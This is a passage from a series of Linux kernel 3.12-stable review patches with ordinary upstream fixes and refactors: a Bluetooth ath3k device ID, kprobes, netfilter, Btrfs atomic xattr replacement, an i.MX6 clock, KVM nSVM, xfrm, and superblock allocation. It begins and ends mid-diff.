 	{ USB_DEVICE(0x04ca, 0x3010), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x0930, 0x0219), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x0930, 0x0220), .driver_info = BTUSB_ATH3012 },
-- 
2.4.6

[PATCH 3.12 064/124] Bluetooth: ath3k: Add a new ID 0cf3:e006 to ath3k list

[Jiri Slaby]

From: Wen-chien Jesse Sung <jesse.sung@canonical.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit ca79f232054abd079648fdb4400c71a1310f7bc8 upstream.

Device info in /sys/kernel/debug/usb/devices:

T:  Bus=01 Lev=01 Prnt=01 Port=05 Cnt=02 Dev#=  3 Spd=12   MxCh= 0
D:  Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs=  1
P:  Vendor=0cf3 ProdID=e006 Rev= 0.01
C:* #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA
I:* If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
E:  Ad=81(I) Atr=03(Int.) MxPS=  16 Ivl=1ms
E:  Ad=82(I) Atr=02(Bulk) MxPS=  64 Ivl=0ms
E:  Ad=02(O) Atr=02(Bulk) MxPS=  64 Ivl=0ms
I:* If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
E:  Ad=83(I) Atr=01(Isoc) MxPS=   0 Ivl=1ms
E:  Ad=03(O) Atr=01(Isoc) MxPS=   0 Ivl=1ms
I:  If#= 1 Alt= 1 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
E:  Ad=83(I) Atr=01(Isoc) MxPS=   9 Ivl=1ms
E:  Ad=03(O) Atr=01(Isoc) MxPS=   9 Ivl=1ms
I:  If#= 1 Alt= 2 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
E:  Ad=83(I) Atr=01(Isoc) MxPS=  17 Ivl=1ms
E:  Ad=03(O) Atr=01(Isoc) MxPS=  17 Ivl=1ms
I:  If#= 1 Alt= 3 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
E:  Ad=83(I) Atr=01(Isoc) MxPS=  25 Ivl=1ms
E:  Ad=03(O) Atr=01(Isoc) MxPS=  25 Ivl=1ms
I:  If#= 1 Alt= 4 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
E:  Ad=83(I) Atr=01(Isoc) MxPS=  33 Ivl=1ms
E:  Ad=03(O) Atr=01(Isoc) MxPS=  33 Ivl=1ms
I:  If#= 1 Alt= 5 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
E:  Ad=83(I) Atr=01(Isoc) MxPS=  49 Ivl=1ms
E:  Ad=03(O) Atr=01(Isoc) MxPS=  49 Ivl=1ms

Signed-off-by: Wen-chien Jesse Sung <jesse.sung@canonical.com>
Signed-off-by: Marcel Holtmann <marcel@holtmann.org>
Signed-off-by: Jiri Slaby <jslaby@suse.com>
---
 drivers/bluetooth/ath3k.c | 2 ++
 drivers/bluetooth/btusb.c | 1 +
 2 files changed, 3 insertions(+)

diff --git a/drivers/bluetooth/ath3k.c b/drivers/bluetooth/ath3k.c
index bc37bed95d57..aa2413a34824 100644
--- a/drivers/bluetooth/ath3k.c
+++ b/drivers/bluetooth/ath3k.c
@@ -106,6 +106,7 @@ static struct usb_device_id ath3k_table[] = {
 	{ USB_DEVICE(0x0cf3, 0xe003) },
 	{ USB_DEVICE(0x0CF3, 0xE004) },
 	{ USB_DEVICE(0x0CF3, 0xE005) },
+	{ USB_DEVICE(0x0CF3, 0xE006) },
 	{ USB_DEVICE(0x13d3, 0x3362) },
 	{ USB_DEVICE(0x13d3, 0x3375) },
 	{ USB_DEVICE(0x13d3, 0x3393) },
@@ -163,6 +164,7 @@ static struct usb_device_id ath3k_blist_tbl[] = {
 	{ USB_DEVICE(0x0CF3, 0x817a), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x0cf3, 0xe004), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x0cf3, 0xe005), .driver_info = BTUSB_ATH3012 },
+	{ USB_DEVICE(0x0cf3, 0xe006), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x0cf3, 0xe003), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x13d3, 0x3362), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x13d3, 0x3375), .driver_info = BTUSB_ATH3012 },
diff --git a/drivers/bluetooth/btusb.c b/drivers/bluetooth/btusb.c
index d1a1dc1e81c8..58ba28e14828 100644
--- a/drivers/bluetooth/btusb.c
+++ b/drivers/bluetooth/btusb.c
@@ -183,6 +183,7 @@ static struct usb_device_id blacklist_table[] = {
 	{ USB_DEVICE(0x0cf3, 0xe003), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x0cf3, 0xe004), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x0cf3, 0xe005), .driver_info = BTUSB_ATH3012 },
+	{ USB_DEVICE(0x0cf3, 0xe006), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x13d3, 0x3362), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x13d3, 0x3375), .driver_info = BTUSB_ATH3012 },
 	{ USB_DEVICE(0x13d3, 0x3393), .driver_info = BTUSB_ATH3012 },
-- 
2.4.6

[PATCH 3.12 065/124] kprobes/x86: Return correct length in __copy_instruction()

[Jiri Slaby]

From: Eugene Shatokhin <eugene.shatokhin@rosalab.ru>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit c80e5c0c23ce2282476fdc64c4b5e3d3a40723fd upstream.

On x86-64, __copy_instruction() always returns 0 (error) if the
instruction uses %rip-relative addressing. This is because
kernel_insn_init() is called the second time for 'insn' instance
in such cases and sets all its fields to 0.

Because of this, trying to place a kprobe on such instruction
will fail, register_kprobe() will return -EINVAL.

This patch fixes the problem.

Signed-off-by: Eugene Shatokhin <eugene.shatokhin@rosalab.ru>
Signed-off-by: Masami Hiramatsu <masami.hiramatsu.pt@hitachi.com>
Link: http://lkml.kernel.org/r/20150317100918.28349.94654.stgit@localhost.localdomain
Signed-off-by: Ingo Molnar <mingo@kernel.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 arch/x86/kernel/kprobes/core.c | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/arch/x86/kernel/kprobes/core.c b/arch/x86/kernel/kprobes/core.c
index a1f5b1866cbe..490fee15fea5 100644
--- a/arch/x86/kernel/kprobes/core.c
+++ b/arch/x86/kernel/kprobes/core.c
@@ -326,13 +326,16 @@ int __kprobes __copy_instruction(u8 *dest, u8 *src)
 {
 	struct insn insn;
 	kprobe_opcode_t buf[MAX_INSN_SIZE];
+	int length;
 
 	kernel_insn_init(&insn, (void *)recover_probed_instruction(buf, (unsigned long)src));
 	insn_get_length(&insn);
+	length = insn.length;
+
 	/* Another subsystem puts a breakpoint, failed to recover */
 	if (insn.opcode.bytes[0] == BREAKPOINT_INSTRUCTION)
 		return 0;
-	memcpy(dest, insn.kaddr, insn.length);
+	memcpy(dest, insn.kaddr, length);
 
 #ifdef CONFIG_X86_64
 	if (insn_rip_relative(&insn)) {
@@ -362,7 +365,7 @@ int __kprobes __copy_instruction(u8 *dest, u8 *src)
 		*(s32 *) disp = (s32) newdisp;
 	}
 #endif
-	return insn.length;
+	return length;
 }
 
 static int __kprobes arch_copy_kprobe(struct kprobe *p)
-- 
2.4.6

[PATCH 3.12 066/124] netfilter: nfnetlink_cthelper: Remove 'const' and '&' to avoid warnings

[Jiri Slaby]

From: Chen Gang <gang.chen.5i5j@gmail.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit b18c5d15e8714336365d9d51782d5b53afa0443c upstream.

The related code can be simplified, and also can avoid related warnings
(with allmodconfig under parisc):

    CC [M]  net/netfilter/nfnetlink_cthelper.o
  net/netfilter/nfnetlink_cthelper.c: In function ‘nfnl_cthelper_from_nlattr’:
  net/netfilter/nfnetlink_cthelper.c:97:9: warning: passing argument 1 o ‘memcpy’ discards ‘const’ qualifier from pointer target type [-Wdiscarded-array-qualifiers]
    memcpy(&help->data, nla_data(attr), help->helper->data_len);
           ^
  In file included from include/linux/string.h:17:0,
                   from include/uapi/linux/uuid.h:25,
                   from include/linux/uuid.h:23,
                   from include/linux/mod_devicetable.h:12,
                   from ./arch/parisc/include/asm/hardware.h:4,
                   from ./arch/parisc/include/asm/processor.h:15,
                   from ./arch/parisc/include/asm/spinlock.h:6,
                   from ./arch/parisc/include/asm/atomic.h:21,
                   from include/linux/atomic.h:4,
                   from ./arch/parisc/include/asm/bitops.h:12,
                   from include/linux/bitops.h:36,
                   from include/linux/kernel.h:10,
                   from include/linux/list.h:8,
                   from include/linux/module.h:9,
                   from net/netfilter/nfnetlink_cthelper.c:11:
  ./arch/parisc/include/asm/string.h:8:8: note: expected ‘void *’ but argument is of type ‘const char (*)[]’
   void * memcpy(void * dest,const void *src,size_t count);
          ^

Signed-off-by: Chen Gang <gang.chen.5i5j@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@soleta.eu>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 net/netfilter/nfnetlink_cthelper.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/net/netfilter/nfnetlink_cthelper.c b/net/netfilter/nfnetlink_cthelper.c
index 7f035f0772ee..54330fb5efaf 100644
--- a/net/netfilter/nfnetlink_cthelper.c
+++ b/net/netfilter/nfnetlink_cthelper.c
@@ -89,7 +89,7 @@ nfnl_cthelper_parse_tuple(struct nf_conntrack_tuple *tuple,
 static int
 nfnl_cthelper_from_nlattr(struct nlattr *attr, struct nf_conn *ct)
 {
-	const struct nf_conn_help *help = nfct_help(ct);
+	struct nf_conn_help *help = nfct_help(ct);
 
 	if (attr == NULL)
 		return -EINVAL;
@@ -97,7 +97,7 @@ nfnl_cthelper_from_nlattr(struct nlattr *attr, struct nf_conn *ct)
 	if (help->helper->data_len == 0)
 		return -EINVAL;
 
-	memcpy(&help->data, nla_data(attr), help->helper->data_len);
+	memcpy(help->data, nla_data(attr), help->helper->data_len);
 	return 0;
 }
 
-- 
2.4.6

[PATCH 3.12 067/124] Btrfs: make xattr replace operations atomic

[Jiri Slaby]

From: Filipe Manana <fdmanana@suse.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339 upstream.

Replacing a xattr consists of doing a lookup for its existing value, delete
the current value from the respective leaf, release the search path and then
finally insert the new value. This leaves a time window where readers (getxattr,
listxattrs) won't see any value for the xattr. Xattrs are used to store ACLs,
so this has security implications.

This change also fixes 2 other existing issues which were:

*) Deleting the old xattr value without verifying first if the new xattr will
   fit in the existing leaf item (in case multiple xattrs are packed in the
   same item due to name hash collision);

*) Returning -EEXIST when the flag XATTR_CREATE is given and the xattr doesn't
   exist but we have have an existing item that packs muliple xattrs with
   the same name hash as the input xattr. In this case we should return ENOSPC.

A test case for xfstests follows soon.

Thanks to Alexandre Oliva for reporting the non-atomicity of the xattr replace
implementation.

Reported-by: Alexandre Oliva <oliva@gnu.org>
Signed-off-by: Filipe Manana <fdmanana@suse.com>
Signed-off-by: Chris Mason <clm@fb.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 fs/btrfs/ctree.c    |   2 +-
 fs/btrfs/ctree.h    |   5 ++
 fs/btrfs/dir-item.c |  10 ++--
 fs/btrfs/xattr.c    | 150 ++++++++++++++++++++++++++++++++--------------------
 4 files changed, 102 insertions(+), 65 deletions(-)

diff --git a/fs/btrfs/ctree.c b/fs/btrfs/ctree.c
index c1123ecde6c9..56dea84ca2fc 100644
--- a/fs/btrfs/ctree.c
+++ b/fs/btrfs/ctree.c
@@ -2926,7 +2926,7 @@ done:
 	 */
 	if (!p->leave_spinning)
 		btrfs_set_path_blocking(p);
-	if (ret < 0)
+	if (ret < 0 && !p->skip_release_on_error)
 		btrfs_release_path(p);
 	return ret;
 }
diff --git a/fs/btrfs/ctree.h b/fs/btrfs/ctree.h
index 0506f40ede83..908f7cf80b85 100644
--- a/fs/btrfs/ctree.h
+++ b/fs/btrfs/ctree.h
@@ -591,6 +591,7 @@ struct btrfs_path {
 	unsigned int skip_locking:1;
 	unsigned int leave_spinning:1;
 	unsigned int search_commit_root:1;
+	unsigned int skip_release_on_error:1;
 };
 
 /*
@@ -3546,6 +3547,10 @@ struct btrfs_dir_item *btrfs_lookup_xattr(struct btrfs_trans_handle *trans,
 int verify_dir_item(struct btrfs_root *root,
 		    struct extent_buffer *leaf,
 		    struct btrfs_dir_item *dir_item);
+struct btrfs_dir_item *btrfs_match_dir_item_name(struct btrfs_root *root,
+						 struct btrfs_path *path,
+						 const char *name,
+						 int name_len);
 
 /* orphan.c */
 int btrfs_insert_orphan_item(struct btrfs_trans_handle *trans,
diff --git a/fs/btrfs/dir-item.c b/fs/btrfs/dir-item.c
index 79e594e341c7..6f61b9b1526f 100644
--- a/fs/btrfs/dir-item.c
+++ b/fs/btrfs/dir-item.c
@@ -21,10 +21,6 @@
 #include "hash.h"
 #include "transaction.h"
 
-static struct btrfs_dir_item *btrfs_match_dir_item_name(struct btrfs_root *root,
-			      struct btrfs_path *path,
-			      const char *name, int name_len);
-
 /*
  * insert a name into a directory, doing overflow properly if there is a hash
  * collision.  data_size indicates how big the item inserted should be.  On
@@ -383,9 +379,9 @@ struct btrfs_dir_item *btrfs_lookup_xattr(struct btrfs_trans_handle *trans,
  * this walks through all the entries in a dir item and finds one
  * for a specific name.
  */
-static struct btrfs_dir_item *btrfs_match_dir_item_name(struct btrfs_root *root,
-			      struct btrfs_path *path,
-			      const char *name, int name_len)
+struct btrfs_dir_item *btrfs_match_dir_item_name(struct btrfs_root *root,
+						 struct btrfs_path *path,
+						 const char *name, int name_len)
 {
 	struct btrfs_dir_item *dir_item;
 	unsigned long name_ptr;
diff --git a/fs/btrfs/xattr.c b/fs/btrfs/xattr.c
index 7e21b2b3fcf2..7c4eb9254456 100644
--- a/fs/btrfs/xattr.c
+++ b/fs/btrfs/xattr.c
@@ -27,6 +27,7 @@
 #include "transaction.h"
 #include "xattr.h"
 #include "disk-io.h"
+#include "locking.h"
 
 
 ssize_t __btrfs_getxattr(struct inode *inode, const char *name,
@@ -89,7 +90,7 @@ static int do_setxattr(struct btrfs_trans_handle *trans,
 		       struct inode *inode, const char *name,
 		       const void *value, size_t size, int flags)
 {
-	struct btrfs_dir_item *di;
+	struct btrfs_dir_item *di = NULL;
 	struct btrfs_root *root = BTRFS_I(inode)->root;
 	struct btrfs_path *path;
 	size_t name_len = strlen(name);
@@ -101,84 +102,119 @@ static int do_setxattr(struct btrfs_trans_handle *trans,
 	path = btrfs_alloc_path();
 	if (!path)
 		return -ENOMEM;
+	path->skip_release_on_error = 1;
+
+	if (!value) {
+		di = btrfs_lookup_xattr(trans, root, path, btrfs_ino(inode),
+					name, name_len, -1);
+		if (!di && (flags & XATTR_REPLACE))
+			ret = -ENODATA;
+		else if (di)
+			ret = btrfs_delete_one_dir_name(trans, root, path, di);
+		goto out;
+	}
 
+	/*
+	 * For a replace we can't just do the insert blindly.
+	 * Do a lookup first (read-only btrfs_search_slot), and return if xattr
+	 * doesn't exist. If it exists, fall down below to the insert/replace
+	 * path - we can't race with a concurrent xattr delete, because the VFS
+	 * locks the inode's i_mutex before calling setxattr or removexattr.
+	 */
 	if (flags & XATTR_REPLACE) {
-		di = btrfs_lookup_xattr(trans, root, path, btrfs_ino(inode), name,
-					name_len, -1);
-		if (IS_ERR(di)) {
-			ret = PTR_ERR(di);
-			goto out;
-		} else if (!di) {
+		ASSERT(mutex_is_locked(&inode->i_mutex));
+		di = btrfs_lookup_xattr(NULL, root, path, btrfs_ino(inode),
+					name, name_len, 0);
+		if (!di) {
 			ret = -ENODATA;
 			goto out;
 		}
-		ret = btrfs_delete_one_dir_name(trans, root, path, di);
-		if (ret)
-			goto out;
 		btrfs_release_path(path);
+		di = NULL;
+	}
 
+	ret = btrfs_insert_xattr_item(trans, root, path, btrfs_ino(inode),
+				      name, name_len, value, size);
+	if (ret == -EOVERFLOW) {
 		/*
-		 * remove the attribute
+		 * We have an existing item in a leaf, split_leaf couldn't
+		 * expand it. That item might have or not a dir_item that
+		 * matches our target xattr, so lets check.
 		 */
-		if (!value)
-			goto out;
-	} else {
-		di = btrfs_lookup_xattr(NULL, root, path, btrfs_ino(inode),
-					name, name_len, 0);
-		if (IS_ERR(di)) {
-			ret = PTR_ERR(di);
+		ret = 0;
+		btrfs_assert_tree_locked(path->nodes[0]);
+		di = btrfs_match_dir_item_name(root, path, name, name_len);
+		if (!di && !(flags & XATTR_REPLACE)) {
+			ret = -ENOSPC;
 			goto out;
 		}
-		if (!di && !value)
-			goto out;
-		btrfs_release_path(path);
+	} else if (ret == -EEXIST) {
+		ret = 0;
+		di = btrfs_match_dir_item_name(root, path, name, name_len);
+		ASSERT(di); /* logic error */
+	} else if (ret) {
+		goto out;
 	}
 
-again:
-	ret = btrfs_insert_xattr_item(trans, root, path, btrfs_ino(inode),
-				      name, name_len, value, size);
-	/*
-	 * If we're setting an xattr to a new value but the new value is say
-	 * exactly BTRFS_MAX_XATTR_SIZE, we could end up with EOVERFLOW getting
-	 * back from split_leaf.  This is because it thinks we'll be extending
-	 * the existing item size, but we're asking for enough space to add the
-	 * item itself.  So if we get EOVERFLOW just set ret to EEXIST and let
-	 * the rest of the function figure it out.
-	 */
-	if (ret == -EOVERFLOW)
+	if (di && (flags & XATTR_CREATE)) {
 		ret = -EEXIST;
+		goto out;
+	}
 
-	if (ret == -EEXIST) {
-		if (flags & XATTR_CREATE)
-			goto out;
+	if (di) {
 		/*
-		 * We can't use the path we already have since we won't have the
-		 * proper locking for a delete, so release the path and
-		 * re-lookup to delete the thing.
+		 * We're doing a replace, and it must be atomic, that is, at
+		 * any point in time we have either the old or the new xattr
+		 * value in the tree. We don't want readers (getxattr and
+		 * listxattrs) to miss a value, this is specially important
+		 * for ACLs.
 		 */
-		btrfs_release_path(path);
-		di = btrfs_lookup_xattr(trans, root, path, btrfs_ino(inode),
-					name, name_len, -1);
-		if (IS_ERR(di)) {
-			ret = PTR_ERR(di);
-			goto out;
-		} else if (!di) {
-			/* Shouldn't happen but just in case... */
-			btrfs_release_path(path);
-			goto again;
+		const int slot = path->slots[0];
+		struct extent_buffer *leaf = path->nodes[0];
+		const u16 old_data_len = btrfs_dir_data_len(leaf, di);
+		const u32 item_size = btrfs_item_size_nr(leaf, slot);
+		const u32 data_size = sizeof(*di) + name_len + size;
+		struct btrfs_item *item;
+		unsigned long data_ptr;
+		char *ptr;
+
+		if (size > old_data_len) {
+			if (btrfs_leaf_free_space(root, leaf) <
+			    (size - old_data_len)) {
+				ret = -ENOSPC;
+				goto out;
+			}
 		}
 
-		ret = btrfs_delete_one_dir_name(trans, root, path, di);
-		if (ret)
-			goto out;
+		if (old_data_len + name_len + sizeof(*di) == item_size) {
+			/* No other xattrs packed in the same leaf item. */
+			if (size > old_data_len)
+				btrfs_extend_item(root, path,
+						  size - old_data_len);
+			else if (size < old_data_len)
+				btrfs_truncate_item(root, path, data_size, 1);
+		} else {
+			/* There are other xattrs packed in the same item. */
+			ret = btrfs_delete_one_dir_name(trans, root, path, di);
+			if (ret)
+				goto out;
+			btrfs_extend_item(root, path, data_size);
+		}
 
+		item = btrfs_item_nr(NULL, slot);
+		ptr = btrfs_item_ptr(leaf, slot, char);
+		ptr += btrfs_item_size(leaf, item) - data_size;
+		di = (struct btrfs_dir_item *)ptr;
+		btrfs_set_dir_data_len(leaf, di, size);
+		data_ptr = ((unsigned long)(di + 1)) + name_len;
+		write_extent_buffer(leaf, value, data_ptr, size);
+		btrfs_mark_buffer_dirty(leaf);
+	} else {
 		/*
-		 * We have a value to set, so go back and try to insert it now.
+		 * Insert, and we had space for the xattr, so path->slots[0] is
+		 * where our xattr dir_item is and btrfs_insert_xattr_item()
+		 * filled it.
 		 */
-		if (value) {
-			btrfs_release_path(path);
-			goto again;
-		}
 	}
 out:
 	btrfs_free_path(path);
-- 
2.4.6

[PATCH 3.12 068/124] ARM: clk-imx6q: refine sata's parent

[Jiri Slaby]

From: Sebastien Szymanski <sebastien.szymanski@armadeus.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit da946aeaeadcd24ff0cda9984c6fb8ed2bfd462a upstream.

According to IMX6D/Q RM, table 18-3, sata clock's parent is ahb, not ipg.

Signed-off-by: Sebastien Szymanski <sebastien.szymanski@armadeus.com>
Reviewed-by: Fabio Estevam <fabio.estevam@freescale.com>
Signed-off-by: Shawn Guo <shawn.guo@linaro.org>
[dirk.behme: Adjust moved file]
Signed-off-by: Dirk Behme <dirk.behme@gmail.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 arch/arm/mach-imx/clk-imx6q.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/arm/mach-imx/clk-imx6q.c b/arch/arm/mach-imx/clk-imx6q.c
index 2eed3cf8a36f..3c5b4eeb98e5 100644
--- a/arch/arm/mach-imx/clk-imx6q.c
+++ b/arch/arm/mach-imx/clk-imx6q.c
@@ -535,7 +535,7 @@ static void __init imx6q_clocks_init(struct device_node *ccm_node)
 	clk[gpmi_io]      = imx_clk_gate2("gpmi_io",       "enfc",              base + 0x78, 28);
 	clk[gpmi_apb]     = imx_clk_gate2("gpmi_apb",      "usdhc3",            base + 0x78, 30);
 	clk[rom]          = imx_clk_gate2("rom",           "ahb",               base + 0x7c, 0);
-	clk[sata]         = imx_clk_gate2("sata",          "ipg",               base + 0x7c, 4);
+	clk[sata]         = imx_clk_gate2("sata",          "ahb",               base + 0x7c, 4);
 	clk[sdma]         = imx_clk_gate2("sdma",          "ahb",               base + 0x7c, 6);
 	clk[spba]         = imx_clk_gate2("spba",          "ipg",               base + 0x7c, 12);
 	clk[spdif]        = imx_clk_gate2("spdif",         "spdif_podf",    	base + 0x7c, 14);
-- 
2.4.6

[PATCH 3.12 069/124] KVM: nSVM: Check for NRIPS support before updating control field

[Jiri Slaby]

From: Bandan Das <bsd@redhat.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit f104765b4f81fd74d69e0eb161e89096deade2db upstream.

If hardware doesn't support DecodeAssist - a feature that provides
more information about the intercept in the VMCB, KVM decodes the
instruction and then updates the next_rip vmcb control field.
However, NRIP support itself depends on cpuid Fn8000_000A_EDX[NRIPS].
Since skip_emulated_instruction() doesn't verify nrip support
before accepting control.next_rip as valid, avoid writing this
field if support isn't present.

Signed-off-by: Bandan Das <bsd@redhat.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 arch/x86/kvm/svm.c | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/arch/x86/kvm/svm.c b/arch/x86/kvm/svm.c
index 5dcdff58b679..2996635196d3 100644
--- a/arch/x86/kvm/svm.c
+++ b/arch/x86/kvm/svm.c
@@ -495,8 +495,10 @@ static void skip_emulated_instruction(struct kvm_vcpu *vcpu)
 {
 	struct vcpu_svm *svm = to_svm(vcpu);
 
-	if (svm->vmcb->control.next_rip != 0)
+	if (svm->vmcb->control.next_rip != 0) {
+		WARN_ON(!static_cpu_has(X86_FEATURE_NRIPS));
 		svm->next_rip = svm->vmcb->control.next_rip;
+	}
 
 	if (!svm->next_rip) {
 		if (emulate_instruction(vcpu, EMULTYPE_SKIP) !=
@@ -4237,7 +4239,9 @@ static int svm_check_intercept(struct kvm_vcpu *vcpu,
 		break;
 	}
 
-	vmcb->control.next_rip  = info->next_rip;
+	/* TODO: Advertise NRIPS to guest hypervisor unconditionally */
+	if (static_cpu_has(X86_FEATURE_NRIPS))
+		vmcb->control.next_rip  = info->next_rip;
 	vmcb->control.exit_code = icpt_info.exit_code;
 	vmexit = nested_svm_exit_handled(svm);
 
-- 
2.4.6

[PATCH 3.12 070/124] xfrm: release dst_orig in case of error in xfrm_lookup()

[Jiri Slaby]

From: huaibin Wang <huaibin.wang@6wind.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit ac37e2515c1a89c477459a2020b6bfdedabdb91b upstream.

dst_orig should be released on error. Function like __xfrm_route_forward()
expects that behavior.
Since a recent commit, xfrm_lookup() may also be called by xfrm_lookup_route(),
which expects the opposite.
Let's introduce a new flag (XFRM_LOOKUP_KEEP_DST_REF) to tell what should be
done in case of error.

Fixes: f92ee61982d("xfrm: Generate blackhole routes only from route lookup functions")
Signed-off-by: huaibin Wang <huaibin.wang@6wind.com>
Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Signed-off-by: Steffen Klassert <steffen.klassert@secunet.com>
Signed-off-by: Jiri Slaby <jslaby@suse.com>
---
 include/net/dst.h      |  1 +
 net/xfrm/xfrm_policy.c | 12 ++++++------
 2 files changed, 7 insertions(+), 6 deletions(-)

diff --git a/include/net/dst.h b/include/net/dst.h
index 9c123761efc1..30cd2f9cd1dd 100644
--- a/include/net/dst.h
+++ b/include/net/dst.h
@@ -469,6 +469,7 @@ extern void		dst_init(void);
 enum {
 	XFRM_LOOKUP_ICMP = 1 << 0,
 	XFRM_LOOKUP_QUEUE = 1 << 1,
+	XFRM_LOOKUP_KEEP_DST_REF = 1 << 2,
 };
 
 struct flowi;
diff --git a/net/xfrm/xfrm_policy.c b/net/xfrm/xfrm_policy.c
index 6b07a5913383..57674ddc683d 100644
--- a/net/xfrm/xfrm_policy.c
+++ b/net/xfrm/xfrm_policy.c
@@ -2154,11 +2154,9 @@ restart:
 		 * have the xfrm_state's. We need to wait for KM to
 		 * negotiate new SA's or bail out with error.*/
 		if (net->xfrm.sysctl_larval_drop) {
-			dst_release(dst);
-			xfrm_pols_put(pols, drop_pols);
 			XFRM_INC_STATS(net, LINUX_MIB_XFRMOUTNOSTATES);
-
-			return ERR_PTR(-EREMOTE);
+			err = -EREMOTE;
+			goto error;
 		}
 		if (fl->flowi_flags & FLOWI_FLAG_CAN_SLEEP) {
 			DECLARE_WAITQUEUE(wait, current);
@@ -2224,7 +2222,8 @@ nopol:
 error:
 	dst_release(dst);
 dropdst:
-	dst_release(dst_orig);
+	if (!(flags & XFRM_LOOKUP_KEEP_DST_REF))
+		dst_release(dst_orig);
 	xfrm_pols_put(pols, drop_pols);
 	return ERR_PTR(err);
 }
@@ -2238,7 +2237,8 @@ struct dst_entry *xfrm_lookup_route(struct net *net, struct dst_entry *dst_orig,
 				    struct sock *sk, int flags)
 {
 	struct dst_entry *dst = xfrm_lookup(net, dst_orig, fl, sk,
-					    flags | XFRM_LOOKUP_QUEUE);
+					    flags | XFRM_LOOKUP_QUEUE |
+					    XFRM_LOOKUP_KEEP_DST_REF);
 
 	if (IS_ERR(dst) && PTR_ERR(dst) == -EREMOTE)
 		return make_blackhole(net, dst_orig->ops->family, dst_orig);
-- 
2.4.6

[PATCH 3.12 071/124] uninline destroy_super(), consolidate alloc_super()

[Jiri Slaby]

From: Al Viro <viro@zeniv.linux.org.uk>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 7eb5e8826911f2792179f99e77e75fbb7ef53a4a upstream.

Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
Signed-off-by: Jiri Slaby <jslaby@suse.com>
---
 fs/super.c | 206 ++++++++++++++++++++++++++-----------------------------------
 1 file changed, 86 insertions(+), 120 deletions(-)

diff --git a/fs/super.c b/fs/super.c
index 3e39572b2f51..59c6983682b2 100644
--- a/fs/super.c
+++ b/fs/super.c
@@ -135,33 +135,27 @@ static unsigned long super_cache_count(struct shrinker *shrink,
 	return total_objects;
 }
 
-static int init_sb_writers(struct super_block *s, struct file_system_type *type)
-{
-	int err;
-	int i;
-
-	for (i = 0; i < SB_FREEZE_LEVELS; i++) {
-		err = percpu_counter_init(&s->s_writers.counter[i], 0);
-		if (err < 0)
-			goto err_out;
-		lockdep_init_map(&s->s_writers.lock_map[i], sb_writers_name[i],
-				 &type->s_writers_key[i], 0);
-	}
-	init_waitqueue_head(&s->s_writers.wait);
-	init_waitqueue_head(&s->s_writers.wait_unfrozen);
-	return 0;
-err_out:
-	while (--i >= 0)
-		percpu_counter_destroy(&s->s_writers.counter[i]);
-	return err;
-}
-
-static void destroy_sb_writers(struct super_block *s)
+/**
+ *	destroy_super	-	frees a superblock
+ *	@s: superblock to free
+ *
+ *	Frees a superblock.
+ */
+static void destroy_super(struct super_block *s)
 {
 	int i;
-
+	list_lru_destroy(&s->s_dentry_lru);
+	list_lru_destroy(&s->s_inode_lru);
+#ifdef CONFIG_SMP
+	free_percpu(s->s_files);
+#endif
 	for (i = 0; i < SB_FREEZE_LEVELS; i++)
 		percpu_counter_destroy(&s->s_writers.counter[i]);
+	security_sb_free(s);
+	WARN_ON(!list_empty(&s->s_mounts));
+	kfree(s->s_subtype);
+	kfree(s->s_options);
+	kfree(s);
 }
 
 /**
@@ -176,111 +170,83 @@ static struct super_block *alloc_super(struct file_system_type *type, int flags)
 {
 	struct super_block *s = kzalloc(sizeof(struct super_block),  GFP_USER);
 	static const struct super_operations default_op;
+	int i;
+
+	if (!s)
+		return NULL;
 
-	if (s) {
-		if (security_sb_alloc(s))
-			goto out_free_sb;
+	if (security_sb_alloc(s))
+		goto fail;
 
 #ifdef CONFIG_SMP
-		s->s_files = alloc_percpu(struct list_head);
-		if (!s->s_files)
-			goto err_out;
-		else {
-			int i;
-
-			for_each_possible_cpu(i)
